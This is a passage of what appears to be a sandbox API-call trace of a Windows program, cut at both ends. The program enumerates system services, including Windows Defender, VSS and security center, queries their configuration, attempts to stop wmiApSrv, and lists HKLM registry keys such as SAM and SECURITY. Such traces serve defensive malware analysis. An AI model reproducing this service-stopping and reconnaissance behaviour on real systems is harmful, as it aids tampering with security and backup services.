cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.179] GetLastError () returned 0x7a [0166.179] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x186, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.180] OpenServiceW (hSCManager=0x803918, lpServiceName="upnphost", dwDesiredAccess=0x1) returned 0x803a30 [0166.180] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.180] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.180] GetLastError () returned 0x7a [0166.180] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x15c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.180] OpenServiceW (hSCManager=0x803918, lpServiceName="UxSms", dwDesiredAccess=0x1) returned 0x803990 [0166.181] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.181] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.181] GetLastError () returned 0x7a [0166.181] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x15e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.181] OpenServiceW (hSCManager=0x803918, lpServiceName="VaultSvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.181] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.181] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.182] GetLastError () returned 0x7a [0166.182] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0xee, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.182] OpenServiceW (hSCManager=0x803918, lpServiceName="vds", dwDesiredAccess=0x1) returned 0x8038a0 [0166.182] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.182] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.182] GetLastError () returned 0x7a [0166.182] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0xf0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.182] OpenServiceW (hSCManager=0x803918, lpServiceName="VSS", dwDesiredAccess=0x1) returned 0x803a30 [0166.183] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.183] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.183] GetLastError () returned 0x7a [0166.183] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0xee, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.183] OpenServiceW (hSCManager=0x803918, lpServiceName="W32Time", dwDesiredAccess=0x1) returned 0x803990 [0166.184] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.184] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.184] GetLastError () returned 0x7a [0166.184] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x118, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.184] OpenServiceW (hSCManager=0x803918, lpServiceName="wbengine", dwDesiredAccess=0x1) returned 0x803a80 [0166.184] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.184] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.185] GetLastError () returned 0x7a [0166.185] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x10c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.188] OpenServiceW (hSCManager=0x803918, lpServiceName="WbioSrvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.188] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.188] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.188] GetLastError () returned 0x7a [0166.188] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x15e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.188] OpenServiceW (hSCManager=0x803918, lpServiceName="wcncsvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.189] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.189] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.189] GetLastError () returned 0x7a [0166.189] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x17a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.189] OpenServiceW (hSCManager=0x803918, lpServiceName="WcsPlugInService", dwDesiredAccess=0x1) returned 0x803990 [0166.189] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.190] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.190] GetLastError () returned 0x7a [0166.190] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x126, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.190] OpenServiceW (hSCManager=0x803918, lpServiceName="WdiServiceHost", dwDesiredAccess=0x1) returned 0x803a80 [0166.190] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.190] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.190] GetLastError () returned 0x7a [0166.190] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x12e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.191] OpenServiceW (hSCManager=0x803918, lpServiceName="WdiSystemHost", dwDesiredAccess=0x1) returned 0x8038a0 [0166.191] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.191] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.191] GetLastError () returned 0x7a [0166.191] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x130, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.191] OpenServiceW (hSCManager=0x803918, lpServiceName="WebClient", dwDesiredAccess=0x1) returned 0x803a30 [0166.192] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.192] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.192] GetLastError () returned 0x7a [0166.192] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x13c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.192] OpenServiceW (hSCManager=0x803918, lpServiceName="Wecsvc", dwDesiredAccess=0x1) returned 0x803990 [0166.192] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.192] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.193] GetLastError () returned 0x7a [0166.193] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x150, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.193] OpenServiceW (hSCManager=0x803918, lpServiceName="wercplsupport", dwDesiredAccess=0x1) returned 0x803a80 [0166.193] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.193] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.193] GetLastError () returned 0x7a [0166.193] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x140, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.193] OpenServiceW (hSCManager=0x803918, lpServiceName="WerSvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.194] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.194] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.194] GetLastError () returned 0x7a [0166.194] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x120, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.194] OpenServiceW (hSCManager=0x803918, lpServiceName="WinDefend", dwDesiredAccess=0x1) returned 0x803a30 [0166.194] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.194] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.195] GetLastError () returned 0x7a [0166.195] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x104, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.195] OpenServiceW (hSCManager=0x803918, lpServiceName="WinHttpAutoProxySvc", dwDesiredAccess=0x1) returned 0x803990 [0166.195] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.195] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.195] GetLastError () returned 0x7a [0166.195] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x158, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.196] OpenServiceW (hSCManager=0x803918, lpServiceName="Winmgmt", dwDesiredAccess=0x1) returned 0x803a80 [0166.196] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.196] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.196] GetLastError () returned 0x7a [0166.196] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x128, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.196] OpenServiceW (hSCManager=0x803918, lpServiceName="WinRM", dwDesiredAccess=0x1) returned 0x8038a0 [0166.196] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.197] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.197] GetLastError () returned 0x7a [0166.197] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x16e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.197] OpenServiceW (hSCManager=0x803918, lpServiceName="Wlansvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.197] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.197] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.197] GetLastError () returned 0x7a [0166.197] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x16a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.198] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x1) returned 0x803990 [0166.198] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.198] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.198] GetLastError () returned 0x7a [0166.198] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0xfe, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.198] OpenServiceW (hSCManager=0x803918, lpServiceName="WMPNetworkSvc", dwDesiredAccess=0x1) returned 0x803a80 [0166.199] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.199] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.199] GetLastError () returned 0x7a [0166.199] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x16e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.199] OpenServiceW (hSCManager=0x803918, lpServiceName="WPCSvc", dwDesiredAccess=0x1) returned 0x8038a0 [0166.199] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.200] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.200] GetLastError () returned 0x7a [0166.200] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x14e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.200] OpenServiceW (hSCManager=0x803918, lpServiceName="WPDBusEnum", dwDesiredAccess=0x1) returned 0x803a30 [0166.200] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.200] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.200] GetLastError () returned 0x7a [0166.200] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x152, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.201] OpenServiceW (hSCManager=0x803918, lpServiceName="wscsvc", dwDesiredAccess=0x1) returned 0x803990 [0166.201] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.201] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.201] GetLastError () returned 0x7a [0166.201] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x15a, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.201] OpenServiceW (hSCManager=0x803918, lpServiceName="WSearch", dwDesiredAccess=0x1) returned 0x803a80 [0166.202] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.202] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.202] GetLastError () returned 0x7a [0166.202] QueryServiceConfigW (in: hService=0x803a80, lpServiceConfig=0x2152850, cbBufSize=0x10c, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.202] OpenServiceW (hSCManager=0x803918, lpServiceName="wuauserv", dwDesiredAccess=0x1) returned 0x8038a0 [0166.202] CloseServiceHandle (hSCObject=0x803a80) returned 1 [0166.202] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.203] GetLastError () returned 0x7a [0166.203] QueryServiceConfigW (in: hService=0x8038a0, lpServiceConfig=0x2152850, cbBufSize=0x100, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.203] OpenServiceW (hSCManager=0x803918, lpServiceName="wudfsvc", dwDesiredAccess=0x1) returned 0x803a30 [0166.203] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.203] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.203] GetLastError () returned 0x7a [0166.203] QueryServiceConfigW (in: hService=0x803a30, lpServiceConfig=0x2152850, cbBufSize=0x19e, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.203] OpenServiceW (hSCManager=0x803918, lpServiceName="WwanSvc", dwDesiredAccess=0x1) returned 0x803990 [0166.204] CloseServiceHandle (hSCObject=0x803a30) returned 1 [0166.204] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x0, pcbBytesNeeded=0x36f4cc) returned 0 [0166.204] GetLastError () returned 0x7a [0166.204] QueryServiceConfigW (in: hService=0x803990, lpServiceConfig=0x2152850, cbBufSize=0x170, pcbBytesNeeded=0x36f4cc | out: lpServiceConfig=0x2152850, pcbBytesNeeded=0x36f4cc) returned 1 [0166.204] CloseServiceHandle (hSCObject=0x803990) returned 1 [0166.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0166.204] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0166.204] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x803ea0) returned 1 [0166.205] CryptGenRandom (in: hProv=0x803ea0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0166.205] CryptReleaseContext (hProv=0x803ea0, dwFlags=0x0) returned 1 [0166.205] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x8038a0 [0166.205] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0166.206] GetLastError () returned 0x426 [0166.206] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1388 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f13d0 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0166.206] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0166.206] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1418, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.206] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.206] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.206] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0166.206] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1418, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.207] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.207] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.207] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0166.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 